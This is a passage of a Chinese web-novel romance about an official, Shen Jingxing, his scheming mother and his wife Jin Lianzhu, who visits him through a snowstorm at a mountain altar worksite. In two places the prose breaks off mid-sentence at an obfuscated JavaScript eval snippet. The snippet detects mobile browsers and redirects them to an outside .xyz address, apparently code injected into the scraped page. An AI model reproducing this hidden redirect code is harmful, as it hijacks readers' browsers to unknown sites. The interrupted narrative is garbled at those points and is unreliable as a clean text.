盼了这些年,葛氏好不容易盼到沈敬行出息,往后可以光耀沈氏门楣,又恰逢沈敬行授官的紧要关头,一丁点风吹草动都极有可能让他们母子多年的筹划付诸东流。 纵使葛氏心里头一千个一万个不乐意,也只得硬着头皮认下了。 原本盘算着,从淮州至永平城的一路上山高水长,兴许途中出个什么意外,靳连珠就无法平平安安的到达了。未曾料到,她还真是个福大命大的,竟顺利的赶上了婚仪。 葛氏彻底了悟,沈家命中有这么一劫,躲是躲不掉的,只得稳住局面以待来日再作谋划。 眼下倒有另外一桩事比靳连珠更要紧,倘使明着说,依照沈敬行的性子决计不会答应,恐还会生出变数。那么就只能暗地里做,待事成以后,他想反悔也不能够了。 思及此,葛氏垂下眼睑,扶着额头轻揉,摆出一副旧疾发作的模样,拖着倦怠的嗓音道:“我终究是老了,再也做不得你的主。你既已打定主意要替她讨公道,便无须再到我的面前说嘴,尽管去做罢。” 沈敬行蹙眉,几番欲言又止。 他今夜提及此事并非一时兴起,而是慎重思量许久的结果。本想坐下同母亲平心静气的商议,或可趁机缓和婆媳关系,绝对没有逼迫的意思。 内宅之事离不开母亲多年的辛苦操持,可管家权又不可能一直握在她手中,总有转交给靳连珠的那一日。 早说晚说,总归要说。 由他来做那个打破口子的人最合适不过了。 看着葛氏脸上失望与疲倦交加,沈敬行亦郁结难消,似有千言万语涌上心头,却迟迟无法吐露只言片语。末了,他歇了安慰的念头,唤周妈妈进来伺候,将要行礼退下之时,葛氏忽然叫住他。 房中烛火摇曳,葛氏半张脸藏于阴影中,教人轻易窥不破她的心思。 这般便让沈敬行想起儿时,葛氏常常训导他,不论如何都得保持“泰山崩于前而色不变,麋鹿兴于左而目不瞬”的状态,唯有耐得住、忍得了,方能成就一番大事。 久了,就酿成沈敬行过分寡淡的性子。 葛氏却觉得如此极好,甚至以身作则,收敛了往日的泼辣作风。 一连保持了许多年,连她都忘了自个儿年轻时也是个张扬恣意的女子。 未曾料到,靳连珠嫁入门后,竟有一身好本事,能屡次把她气得破了功。 再加之今日的事儿... 沈敬行隐约觉得母亲肯这么轻易交出管家权,心中定然另有他算。但他不便过分追问,否则真就成了不尊不孝之辈了。 沈敬行压下揣测,略一欠身,主动挑起话头:“母亲还有什么吩咐?” 果不其然,葛氏端起碗盏喝水漱口,用帕子净了嘴之后,不疾不徐地说道:“你莲儿表妹不日就到府中坐客,先头她住惯了晚香堂,这回来依旧住这儿。你提前着人收拾出来,甭怠慢了客人。” 内宅之事原先都由葛氏管,靳连珠入门后,葛氏以调-教为由将大小事务一应交给她处置,可这会儿特地拿给沈敬行听就不一样了。他知晓,母亲意在让他做个决断。 想要管家权,就得将曲莲、玉莲送走。 反之亦然。 两头都兼顾,那简直是痴人说梦。 沈敬行有所顾虑,无法即刻作出决定。 靳连珠远嫁在外,那四个陪嫁女婢便是她在这儿的慰藉,若送走她们,她必定不快,可管家权又来之不易,错过这次,往后就不指定何时才能等到母亲再次松口了。 沈敬行想起拂冬探听到的传闻,城中的官眷们私下没少议论靳连珠的出身,言语间多是嗤笑或轻蔑。 在这时,唯有沈家承认她,他亦坚定站在她的背后,方能使得她拥有立足的底气。 内宅的对牌钥匙,靳连珠非拿不可。 只不过,春节在即,沈敬行不忍靳连珠在团圆美满的日子感伤,便想着,以两个女婢要养伤为由,先留她们一阵子,待年后,他另寻机会跟她讲明。 葛氏眼皮耷拉着,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001096|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剪刀除去炸开的灯芯。 闻言,她手上的动作一顿,似乎不太满意沈敬行如今优柔寡断的处事方式,转瞬思及后续瞒着他的那些安排,只得暂且忍下心头的不快,允了他的建议。 —— 按照往年惯例,礼部跟工部共同操办祭礼,地点设在召景山,除夕当晚开放,持续到元宵节后一日关闭。期间,城中百姓皆可前去上香祈福。 以免出现纰漏,沈敬行亲自从旁监工。 忙累了,他干脆就宿在附近临时为官员搭建的茅屋内,一连四日不曾回府。 恰逢大雪,天寒地冻,靳连珠不知沈敬行在那儿睡得如何、吃得如何,万分牵挂担忧,她忍无可忍了,壮起胆子前往碧波轩,请求婆母放她外出探望官人。 葛氏称病没有露面,周妈妈代为传达:“大娘子是内宅的当家人,至于这等微末事宜,您自个儿做主即可。老夫人近来体乏的很,没要紧事儿,大娘子就莫要过来打搅了。” 靳连珠心下一喜,面儿上却不显。 她将亲手做的药羹交给周妈妈,关怀一番婆母的身子,又说了几句讨人欢心的吉祥话,这才翩然离去。 回到雅韵轩,众人紧锣密鼓的开始准备所需的物什。 靳连珠盯着下人们将东西收拾妥当,仍旧不放心,兀自站在摊开的包袱前一遍又一遍清点,口中念念有词:“手炉、大氅、新做的厚鞋袜,这些要紧的千万不能落下。山中的夜晚冰冷难捱,御寒的衣物要多备上几套,让官人穿脏了有得换,不必为日常琐事发愁,耽误正经差事...” 小厨房依照家主的口味备了菜肴,白芷一一收入食盒后,听白芍说马车已在西侧门候着了,于是回屋查看大伙收拾的如何。甫一进门,她便瞅见靳连珠怅然失神的模样,不由得调笑道:“此番既为官家也是为百姓办事,家主及其他几位大人岂有被怠慢的道理。娘子关心则乱了。” 教白芷这么一说,靳连珠从慌张的状态中清醒过来,难为情地笑了笑,命人将东西尽数搬到车上去。 念及山上有诸多官人的同僚在场,靳连珠不便将排场整得过大,免得违背他奉行节俭的作风。可物什又得一样不落的全都带着,因此车内挤得满满当当,多余的人实在坐不下了,最终就只有白芷跟随前往。 自从来到永平城,靳连珠长久的被拒于内宅,偶尔出门都是紧跟着婆母赶赴各式宴会,未曾有机会好好逛上一遭集市,享受一番天子脚下的繁华。现下她撩开帘子,目不转睛地打量市井街头,只觉得哪哪儿都十分有趣,心道,往后寻个合适的机会,定要同官人一齐来。 忽觉鼻尖一凉,似有水珠落下,靳连珠摊开掌心接住一片冰花,登时绽开笑颜——原是又下雪了! 马车驶出城后不多久便上了山,可叹雪下大了就成了麻烦,车轱辘被卡在沟槽之中,动弹不得。 靳连珠恐耽搁下去会误了事,命车夫在原地守着,她跟白芷各自携带一些方便轻快的物什,先行上山寻找援助。 林中到处白雪皑皑,极难辨别方向。 靳连珠硬着头皮,迎着严寒一条山路走到底,竟真被她撞大运瞧见了矗立在风雪中已建成的祭坛,更近一些的那间茅草屋便是供给官员们休憩用的地方。 靳连珠拿着沈家的腰牌,前去跟看门小厮说明身份。 得知眼前这位是工部沈尚书的家眷,小厮忙行礼问安,引她入内取暖。 靳连珠却未动,扭头望向祭坛的方向,表情中是藏不住的迫切。 见状,白芷接过她肩上的包袱,顶着狂风暴雪,扯着嗓子嚷:“娘子如若放心不下,想去便去罢,奴婢在这儿等主子们归来。” 靳连珠疼惜地摸了摸白芷冻僵的小脸,吩咐她快进屋取暖,接着同小厮说了马车困在半山腰的事儿。 这人倒也是个利索的,很快就寻到帮手前去接应,他则负责将靳连珠安全护送至祭坛处。 今日天气着实恶劣,工部和礼部的几位大人们结伴过去查看情况,确认现场一切安好,一行人正准备返回茅屋暂避风雪,转身却遥望见一抹红沿着山路缓缓靠近。 工部那位名唤康汾的侍郎大人调侃:“难不成是哪位大人的家眷?” 在场除了康汾之外皆有家室,可一连多天不见他们其中任何一人的家眷前来探望。 这些儿郎们死要面子,个个儿嘴硬说着“又不是第一回因公在外留宿,无甚值得家人惦记”,实则心底万分期待那一碗热汤,如能喝上一口驱寒解乏,堪称此生无憾。 闻言,他们纷纷踮起脚,伸长脖子使劲儿瞅,暗自祈祷来者是自个儿的娘子。 沈敬行没参与同僚的谈论,兀自返回去,再一次确认几处要紧的地方并未出现岔子,一颗心这才踏踏实实地放回肚子里。 紧接着,身后传来康汾低低地惊叹,似是在唤他。 沈敬行循声回首。 山头风吹得太狂,迷了他的双眼,使得他没能立即认出那道身影。 漫天大雪中,乍见一女子款款而来,虽穿着厚实却难掩娉婷窈窕的身姿,一张巴掌大的脸儿素面朝天,两腮被冻得绯红,自有一种天然去雕饰的美。 双瞳剪水,翘鼻樱唇,媚态尽显但丝毫不矫揉造作,不似凡人,反倒似这山里的精怪吸收日月精华后化成了人形。 余下几位大人皆看直了眼,视线情不自禁的随之移动,巴巴地瞅着她逐步逐步向沈敬行靠近。 美人儿抖了抖衣袖,露出一双柔夷,温柔拂去落在沈敬行发梢的雪絮。 她眸光闪烁,仿佛噙着泪,教旁观者不知该心疼她,还是心疼她所牵挂之人。 再仔细一听,那嗓音更是婉啭悦耳,“官人”二字从她口中吐露出来,像是能勾魂噬魄一般。 康汾背脊微抖,率先回过神,不由得啧啧喟叹: 得妻如此,沈大人果真好福气呐! 6. 第六回 然而,拥有“好福气”的人好像没这么想。 但见沈敬行冷静自若,看似全无动容,静待靳连珠拂去他睫毛挂着的雪花,开口便是一句毫无感情的责怪:“风雪太大,山路陡峭险峻,你不该来。” 旁边被郎情妾意场面羡煞的几位大人闻言,俱是面色一变,忙不迭替沈敬行这个没情-趣的木头疙瘩找补:“哈哈...小沈大人莫不是见到夫人心中过分雀跃,连话都不会说了。” 沈敬行蹙眉:“我没...” 康汾强硬地截断话茬:“小沈大人成婚后,倒也学会关心体贴了。只不过,这语气或言辞还需斟酌一番,亏得沈夫人明事理、性温和,换个人恐怕就得当场闹起来了。” 声一落,其余的人皆哄笑不止。 或促狭,或调侃,或艳羡。 并无恶意。 靳连珠倒没介意沈敬行所言,他惯来如此坦率,又不独独冲她一人。 只是她方才太着急沈敬行,反而忽略了几位大人们,这会儿急匆匆想补上礼,可身子冻僵了,膝盖根本弯不下去,整个人一晃,眼瞅就要栽入雪中。 “当心。”沈敬行眼疾手快地拉住她。 惊慌失措之际,靳连珠顺势握住他的小臂,整个人儿轻飘飘落入他怀中,一双被冻红的柔夷攥紧他官服衣袖,生生掐出几道褶皱。 二人的距离猛地拉近,沈敬行听见一声微不可查的娇吟,遂低头,这才发现靳连珠的装扮一改往常简朴,捻金雪柳,尤其乌发间那枚胡蝶钗子,随她往前扑倒的动作也在抖擞翅膀。 “花样妖娆柳样柔,眼波流不断、满眶秋”。很没道理的,沈敬行脑中突然蹦出这么一句,随即反应过来,大庭广众之下,他委实不该这般肖想女子。纵使,怀中的娇娇儿是他娘子。 简直浪荡、荒谬至极。沈敬行狠狠的自我唾弃一番,扶着靳连珠的手指蜷缩起来,不小心勾住了她腰间的玉环绶。这下好了,方才的努力付之东流,复又勾起涟漪阵阵,无限旖旎心思挥之不散。 靳连珠打小就畏寒,这遭出门之前,特地将出嫁时候带来的大红貂皮皮氅穿上了,可谓打扮得极其厚实。 未料到沈敬行劲儿会使得如此大,隔着衣裳仍掐得她生疼,靳连珠担心人前失态,方漏出一个音便死死咬住嘴唇憋回去了。 从沈敬行的角度,只能瞧见靳连珠逐渐涨红的耳根,姿色相较雪地里的红梅更加娇妍。 他愈发心猿意马,喉结生涩滚动,怀疑是来时路上灌入冷风导致的,幸而呼啸的寒风遮掩了他沙哑的声调,没叫靳连珠发觉他的失措。 可,总这么抱着也不是个事儿。 沈敬行俯身,凑近问:“崴到了?” 热气喷洒到靳连珠耳畔,激得她神思荡漾,脸颊的颜色更浓了。 靳连珠心道:这趟果真来对了。成婚一载,还是第一回见官人肯在人前跟她这么亲昵,想必是被她冒雪前来送温暖的行为感动坏了。 靳连珠强压住女儿家的羞怯心事,不自觉掐着一把嗓子,跟撒娇似地拽着音调诉苦:“裙摆太长,我不小心踩着了。” 沈敬行一言不发,一味将脊背弯的更低,帮忙整理繁琐罗裙。 跟在后头的那几人还念叨着“雪天路滑、小心行走”“早知如此,便晚些时候再来巡视了,赶上这么大的风雪,迷了眼,实在危险”“稍候得让小厨房熬制姜汤,祛一祛寒”云云。 忽而,康汾就近拐了一下那位喋喋不休的礼部大人,他一停,其余的也跟着停了,又见康汾努努嘴,众人齐刷刷向前望去。 大地尽白,漫天大雪点点扬花,片片鹅毛,徐徐落至沈敬行官帽、肩头,他全然不觉,垂首睨着自家娇小娘子,眉头轻蹙,似是怕极了她会受伤。接着,他凑近同她交谈几句之后,伏低身子去摆弄衣裳。 明眼人都瞧得出来,沈敬行满身的才华与能力,唯有放在官场之上才发挥的出来,至于风月事,他全然不懂,如同一张白纸。 说难听些,对沈敬行而言,这婚结了也是无用,他照样一对上跟女儿家相关的事儿就变得束手无措,再加之积雪阻碍视线,他只得茫然的到处摸索,半晌天也没理明白一层又一层的裙摆。 靳连珠没催,提起一侧的大氅为沈敬行遮挡风雪。 康汾及其余的大人们却误认为沈敬行要将娘子抱起来,个个儿眼睛瞪得堪比铜铃。 雪大风大,不良于行,再者说,抱得乃自家娘子,有何不可?被瞧去,只会让人觉得这对年轻夫妇恩爱非常,艳羡还来不及呢。 偏偏,那位是沈敬行。 他素来是个温吞克己的人,纵然成婚了也不见改一改心性,整日冷着一张俊脸,让人望而却步,寡淡的仿佛是个不闻世间俗事的谪仙。 于公事上,他便更加冷静理智了,屡屡碰见几回火烧眉毛的情况,仍能稳如泰山思忖对策,不过十七八岁的少年郎,却将工部管得井井有条,下属们待他无有不佩服的。 手段和心机不可谓不厉害。 难得见一次沈敬行外溢情绪,还是为了他那位美若天仙的娘子,谁能忍得住不凑热闹。 可惜,紧接着并未发生众人喜闻乐见的画面。 待裙子整理好了,沈敬行毫不留恋地抽身,接过引路小厮递来的伞,为她挡去大雪。 靳连珠本欲用帕子帮他擦净沾满手的雪霜,见他有意回避,也不好当着外人的面胡搅蛮缠,免得被他们看去笑话,只是心底刚泛起来的那点柔情蜜意顷刻间消失殆尽。 回茅屋的路途不远,无奈太难走了。引路小厮担忧贵人们的安危,非得上前去把路踩实了再折返带他们。这样一来一回的,硬生生拖长了双倍的时辰。 靳连珠跟沈敬行挤在同一把伞下,空间狭窄逼仄,然而,她盼了又盼,他再也没有表露过搀扶她的意思。 每回靳连珠被风吹得踉踉跄跄,想靠住一旁的沈敬行,皆被他不动声色的避开了,放任半边身子露到伞外,落雪化水打湿肩头也浑不在意。 暗地里避让到这份上,就算靳连珠再心怀爱慕,也绝非蠢笨之人,怎会不了解他的想法。她揪着他衣袖边沿的手指一节一节松开,滚烫的泪珠子从眼眶里打转,心跟身体一样冷得厉害。 原本走在后头的康汾与礼部另一位大人赶上来,跟沈敬行商量待会议事的内容。有外人在,靳连珠只得敛了万千愁绪,咬牙将一堆委屈咽回肚子里,硬着头皮向前赶路。 提供给官员们休憩的屋子不止一间,分布比较零散罢了。 沈敬行住在最北边,即离祭坛最近的那间,很快便到了。 屋中提前烧了炭火,窗牖关得严实,仅留了一条缝隙透风,推门进去就觉暖烘烘的。 白芷赶紧将手炉塞给靳连珠,卸下厚重的大氅,挂去架子上用掸子扫掉还未消融的雪花,纳闷:“娘子此番前去,没寻到家主吗?” 良久,没回音。 白芷奇怪,扭头看去。 烛火葳蕤,靳连珠背对她坐在矮几上,伸出两双被冻得红通通的手置于火炉上烤着取暖,乍看之下没什么可疑,但白芷到底跟了她这些年,对她有十万分了解,当即便觉得不对劲,急匆匆上前查看情况。 万万没料到靳连珠已经红了眼眶,泪珠充盈在眼眶里要掉不掉的,下唇清晰印着一排齿痕,是她自个儿狠心咬出来的,泫然欲泣的模样好不可怜。 白芷鲜少见靳连珠哭,骇了一跳,忙问:“大娘子可是跟家主起争执了?” 靳连珠一味摇头,铜盆里的火焰烤得她双眼发烫,泪水逐渐蒸发,可繁杂心绪难以平复。 无法讨得官人欢心这等事儿要如何与外人道,况且,白芷还是个姑娘家,就算听了也未必能解她的困惑。 靳连珠郁闷难消,想法一时偏激了些,只当自己因为官人主动向婆母开头讨要管家权一事,过于开怀就昏了头了,今日上赶着来献殷勤,不知官人会不会恼她耽误他的正经事。 话又说回来,就算被留在皇宫大内当差,家眷也可递了帖子前去探望。她这般行事并未坏了规矩,官人究竟为何看上去不情不愿的呢? 难不成,是他不想看见她? 那日曲莲的言语犹在耳畔,靳连珠心烦意乱的,很难不往那方面去想。 她从袖中抽出帕子胡乱擦拭掉脸上并不存在的泪痕,强撑起精神,摒弃那些乱七八糟的想法,询问:“从家里带的那些吃食呢?” 见她不欲多言别的,白芷没再追问,答曰:“已经交给小厨房了,厨娘热过了就送来。” 这地方还有专门搭建的小厨房? 靳连珠以为大人们都到附近的佛寺中吃斋饭,遂问:“在哪儿?” “绕过前头的大石桩子,小径岔口右拐便是了。”白芷站在窗边给她指明方向,所幸距离不算远,门口挂着火红灯笼,极易辨认。 靳连珠穿上大氅,撑起伞外出。 白芷不放心,刚打算跟上却被拦住:“你留在屋中守着罢,我去去就回,不必担忧。” “可...” 白芷阻拦不及,眼瞅着她迎着漫天风雪,一步步消失于视野之中。 —— 厨房内烟雾缭绕,门开了半扇,隔了老远就闻见从里头传出的香味。 靳连珠深一脚浅一脚地蹚过雪地,鞋袜及裙摆全湿了,她没法子,只得强忍着,想着待会儿在炉前烤烤火能好一些。于是收起伞立在墙边,赶紧叩门入内。 灶前仅厨娘一人,是从山下一家百姓家里寻到的婆子,姓黄,名不详。黄婆子年轻时曾在魏济府内做工,见过不少高门大户的夫人、姑娘,练就了几分眼力见儿。 听闻今日工部那位沈尚书的家眷上山探望来了,黄婆子先前见了他家的女婢,再一瞧眼前这位貌美的娇娘,一时琢磨不定到底是何身份。 若说是沈大娘子,衣着打扮未免过分朴素,虽生得有倾国倾城之色,可眼眸脉脉含情,平易近人,丝毫不见富贵人家高傲的气度,再加之,她独自冒雪到后厨温热食物,身旁无人跟随,更不似那些娇生惯养、十指不沾阳春水的贵女作派。 黄婆子飞速瞄她一眼,内心盘算着,前头来得人只说是“沈家的家眷”,却并未指明来者究竟是不是沈大娘子,美妾或贴身伺候的女婢也未可知—— 她从前在魏济府讨生计的时候,见过不少妇人为了充门面,外出之时特地带上美貌的女婢,或让她们打扮得光鲜亮丽,却又不至于争去风头。 不过,这位长得如此娇妍,身段弱柳扶风,放眼整座永平城内也当属佼佼者,女婢怕是不可能了。 保险起见,黄婆子没敢私自定下结论。 她腆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001097|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着笑脸凑近问:“娘子可有需要帮忙的地方?” “没,这些小活我自个儿就能做。” 靳连珠察觉到黄婆子从旁窥探了有一阵子了,猜她应该是好奇自己的身份又没胆子直戳了当地问,于是报以和善地微笑,顺手从锅里舀了一碗姜汤递过去:“婆婆坐下歇会儿罢,午饭不急于这一时。前头大人们正在议事,没个把时辰结束不了,等我这边热好汤饭,你再忙活也不迟。” “哎...哎。”黄婆子欲接过碗盏,突然想起自己沾了满手的油污,忙从围裙上仔细擦了擦,小心翼翼避开对方那双凝如玉脂般的柔夷,心下也有了定论。 靳连珠见黄婆子要躲去门边用汤,即时出声:“那儿太冷了,不如守着炉子烤烤火,否则姜汤喝了也是白喝。” 她皮囊极美,嗓音婉啭,火红大氅衬得她肌肤白似雪,炉内熊熊燃着的火光映着她更添一份风情。 黄婆子见了心生亲近之感,连连答应着,顺从坐到她身侧的竹藤椅上。 靳连珠从心底计算着时辰,以免把汤热干了,耳朵敏锐地捕捉到一声脆响,随即看过去。 黄婆子满脸紧张地摘下腰侧的囊袋子,里头装着一堆碎了的玉块儿,却被她当作宝贝似的。 瞅见这些碎块的状况没变得更糟,黄婆子不由得松了一口气,转头对上靳连珠探究的目光,她不好意思地笑了笑,满脸的褶皱挤在一起。不知想到了什么,使得她的表情瞧上去有几分甜情蜜意。 旁人的私事,靳连珠素来是不会越界打听的。 不料,黄婆子心眼实,竟主动的都交代清楚了:“这玉镯乃祖传的物件,虽成色不佳,但胜在意义非凡。年前收拾屋子的时候,我不小心把装玉镯的木盒摔到地上,就成了这样子。亏得我那儿媳是个见多识广的,知晓山上住着一户姓周的人家,独有修玉镯的手艺。待忙完差事,我过去碰碰运气。” 靳连珠了然,想起这山中的形势,不免担忧:“怎不叫家中爷们儿去办?” “修缮祭坛需要人手,我官人和大郎都在这儿。这点小事还用不着使唤他们,万一耽误上工就坏了。”顿了一顿,黄婆子又说,也不止这一层原因。 他家虽是普通人户,过得清贫了一些,但却十分满足幸福。 黄婆子只有一个儿子,又是老来得子,不过从未娇生惯养,早早就让他外出做工历练,待他攒了些银子,去年年初便同隔壁家的姑娘成了婚。 两家乃旧交,情谊非凡,再加之这对新人有青梅竹马的情分,相互扶持着过日子,可谓恩爱非常。 没多久,儿媳便有了身孕。 郎中道她身子太弱,要想保住头胎,需得精心养着。 黄婆子不知从哪儿听说,玉最养妇人的精气,不论花捎多少银子、消耗多少力气,也得把祖传的宝贝修复好了。 不知怎的,靳连珠听罢,竟觉得有些羡慕。 她下意识摸向腰间,仅一枚亲手绣的香囊,手腕上空空如也,浑身上下,也就鬓间的发饰还值几钱。 放眼整座永平城,哪有一家官眷穿得像她这般寒酸,难怪黄婆子迟迟不敢确认她的身份。 纵使沈敬行曾有言,让她不必遵循他那一套规矩,可她焉有不顾他的道理? 反倒是他,从不明白“夫妇一体”的含义。 思及此,靳连珠舌尖又是一阵酸涩,仿佛吞了几斤重的黄连。所有繁杂思绪齐齐涌入心头,化作潮湿的泪意模糊眼眶。 察觉到情绪将要失控,靳连珠深吸一口气,猛地站起来,把黄婆子吓了个激灵,赶紧放下碗盏也跟着起身帮忙,将温好的饭菜一样一样放入食盒,又点头哈腰的将她送至门口。 靳连珠惦记着方才跟黄婆子的谈话,不知道生的哪门子执拗,就想着能不能帮衬一把。可转念一想,她的境遇也没好到哪儿去,仅仅是外表瞧着光鲜亮丽罢了,容不得她打肿脸充胖子。 于是,千言万语化作一声悠长叹息。 靳连珠拾起门边的伞,抖了抖上头的落雪,撑起之后转身去接黄婆子递来的食盒。 恰在此时,有只手横插过来截了胡。 这片刻功夫,靳连珠的鼻子已经被漫天风雪冻得失去嗅觉,尽管如此,她仍感觉到有一股似有若无的竹香萦绕身侧。靳连珠一愣,稍稍抬起伞沿,果不其然瞧见沈敬行。 他来了应有一会,不知为何没进屋,只在外头等着。 大雪落满了伞面,随着他的动作簌簌往下掉。 沈敬行从袖兜里掏出一枚玉镯,递到黄婆子面前,“祖传之物自然要修,可要想给妇人养身子,还得用成色上佳的玉石。这只玉镯是大娘子逛街时买下的,花纹朴素,质地通透细腻,念你、你家的男丁在修缮祭坛一事之上出力不少,便赏给你了。” 黄婆子受宠若惊,不停偷瞄靳连珠的脸色,在她发话之前不敢伸手去接。 靳连珠箱奁中有什么物件,自个儿清楚得很,这只玉镯不知道是谁的,事情必然也是沈敬行瞎编的,她一时惊讶,素来正直到近乎顽固的沈敬行竟也学会扯谎那套了,紧接着就瞥见他因口出妄言而羞愧逐渐涨红的耳廓。 靳连珠眼神虚了一瞬,便觉心口酸酸涨涨的疼。她强硬的将玉镯塞入黄婆子手中,拍了拍她干枯如树皮的手背,表情似安抚亦似怅然,轻道:“收下罢。” 7. 第七回 黄婆子诚惶诚恐地接过,又是一番感恩叩谢的言论。 见状,靳连珠只觉得万分怅然。 她本想行个善举,放在从前,这事于她而言不过举手之劳,现在却不得不承官人的情,让场面变成了施恩、赏赐。 靳连珠强忍下繁杂的情绪,扶了一把作揖的黄婆子,劝她不必拘礼。 返回的途中,两人俱缄默不语。 沈敬行这般,倒是符合他一惯沉默寡言的作风,但四下无人时,靳连珠老老实实的不主动往他身边依偎,这便不对劲了。 沈敬行咂摸,难道他误解了她,实则她并没有赠送东西给黄婆子的想法? 一味闷不吭声的思索必然得不到结论,沈敬行瞟几眼靳连珠窈窕背影,按捺住蔓延的羞涩,准备壮起胆子先行出声同她搭上话,不想,靳连珠直接推门入内,把伞交给白芷,边解大氅边落下帘子进入内间。 有外人在场,原本到嘴边的言辞也吐露不出来了。沈敬行只得歇了心思,把食盒搁在桌上交给白芷处理,撩了帘子进去换一套衣裳。 靳连珠察觉到他就在一旁褪外衫,因心里头装着事儿,没往常那般好兴趣凑近逗趣。她坐在矮凳上,自顾自褪去湿掉的鞋袜,露出的脚面莹白,趾头冻得通红,已然失去知觉。 纤纤玉指也仿佛充了血,攥着裤边却根本使不上一丝力气。她又瞄了一眼沈敬行,只得歇了唤白芷入内伺候的念头,咬紧牙关试图一点点将裤子挽起。 沈敬行换好衣裳,动作间故作不在意的用余光瞥向靳连珠,就撞见她这副好不可怜的模样,态浓意远淑且真。 后知后觉的,他隐约意识到她心绪不佳,才会这般寡言寡欲。 忆起方才窥见她和老媪交谈甚欢,短短片刻不知为何就开始伤怀,又或者,他知晓了原由也说不出什么中听的安慰,沈敬行干脆闭紧嘴巴,省得讨人嫌,弯下腰作势替她挽裤脚。 未等触及那片单薄布料,靳连珠就跟受惊的花草一般倏地缩了回去。 沈敬行愣了一愣,缓慢抬头望向她,眼底泛起一丝不解,大抵是不懂她为何要躲避自个儿。 靳连珠没看他,扭头向外呼唤:“白芷,打些热水进来。” “是。”白芷脆生生地应声,拎上木桶,推门离去。 房中一时只余下夫妻二人。 待了这一会儿,靳连珠抗过了那股冷劲儿,四肢逐渐用得上力气了,三两下挽起湿漉的裤脚,露出藕白的小腿。 沈敬行只消瞅了一眼便觉无限旖旎情思泛上心头,相较雪地里乍见她的时候更甚。 他不自在地抖了抖睫毛,想为她做一些事儿找补,正欲拎起湿漉的鞋袜去烤火,结果再一次被靳连珠拦下了。 “官人且先去用饭,休憩会儿就又到上值的时候了。”靳连珠踩着湿鞋,撩开帘子,到外头为他布菜。 她一惯如此体贴,放眼整座皇城找不出第二个比她更加称职的当家主母,可,沈敬行总觉得今日的她极其不对劲,具体不对在哪儿,他又讲不出个所以然。 苦思无果,沈敬行折返回木柜前,翻出一双崭新的鞋袜,操着寻常口吻询问:“我不在的这段日子,家中一切安好?母亲的身子恢复的如何了?” “郎中道并无大碍,已开了药,让婆母在房中静养,以免吹风加重病情。总闷在屋中难免乏味,所幸,莲儿表妹后日就到府上做客,到时有她相伴,想必婆母的病就好的更快了。” 一面说着,按着往日沈敬行用饭的习惯,靳连珠依样儿布置好席面,唤他:“官人,可以用饭了。” “嗯。”沈敬行犹豫再三,终究没好意思亲口说出为她换鞋袜的话,遂吩咐刚返回的白芷:“不慌忙这些,先伺候大娘子更衣。” 靳连珠却道:“无碍的,衣裳烤一烤火就干了。” 这趟出门本就是为了给沈敬行送物资,靳连珠念着他,计划小坐半晌就回府。 临近年关,免不了有亲朋好友前来走动,府中一应事宜还等着她处理,怠慢不得。没料到中途会遇上这等麻烦事,弄脏了鞋袜不提,裙摆湿哒哒的黏在腿上很不舒服。但靳连珠没带可以多余的衣裳,除了烤火也没别的法子了。 靳连珠拉沈敬行落座,示意白芷先将木桶提入内间,待她伺候官人用完饭再去泡脚驱寒。 沈敬行面无表情,不知在想甚么,盯着她一只白皙的手持着木筷,往他碗中夹菜,另只手兜着宽大的衣袖,听她语气和缓的跟他聊起家长里短,言语间的意思是叫他不必担忧府中的事宜,更不必担忧葛氏的病,这些都有她照料,定然不会起乱子,他只管顾好祭坛这边的事务... 乍看之下,一切都跟往常无异。 也许因着沈敬行天生比旁人更敏锐些,他从靳连珠故作淡然的表情中捕捉到一丝游离在外的伤神,方才一直萦绕在他心头,经久不散的诡异感觉再次泛上来。 沈敬行眉心微蹙,劈手夺过筷子。 靳连珠讶然:“官人...?” 沈敬行冷脸不看她。 他又唤白芷,语气重了些:“找一件干净的衣裳给大娘子换上。” 白芷万不敢怠慢,忙从柜子里翻出一件干净的外衣。 沈敬行上手摸了一下,似觉得太单薄,不够御寒,于是亲去挑拣。 他鲜少穿亮色,靳连珠随着他,也不再穿着女贞黄、美人祭这一类鲜艳的色彩,全然没想到,沈敬行竟从一摞厚衣裳下头翻出一套崭新的女子衣裙,莲红配葱葱,夹袄的领口镶了一圈儿狐毛。 应是特地熏过香了,靳连珠嗅到一股似有若无的零陵香味儿。 天下女子就没有能拒绝漂亮衣裳、首饰、妆品的。 靳连珠眼睛霎时变得澄亮,迫不及待走入内间唤白芷伺候自个儿更衣。 穿上之后,她发觉尺寸格外合衬,便知晓这身行头是沈敬行专门为她准备的,当即欢喜上头,方才的不愉尽数都抛到九霄云外去了。 “不愧是官人,眼光果真独到。” 靳连珠喜爱的不得了,又问:“官人如何知晓我的尺寸?” 沈敬行自顾自盛上一碗汤,调羹都递到唇边了,到底没喂入口中。 他遏止不住内心烧得噼里啪啦直响的焦躁,大步流星地走近,接了白芷手中那条玉环绶,放到一旁的矮桌上。边打开匣子取了一条新的给她,边作答:“猜的。” 靳连珠背对着他,手持铜镜照看个没完,自是窈窕无双颜如玉。闻言,她扭脸睇,娇娇怯怯地瞪了他一眼,俨然不信这套敷衍的说辞。 她无意之间的举动,又于他心底惊起一片涟漪。 沈敬行背去身后的手紧攥成拳,心鼓动个不停,眼神倒十分坦荡。 只因他并未扯谎。 的确为猜测。 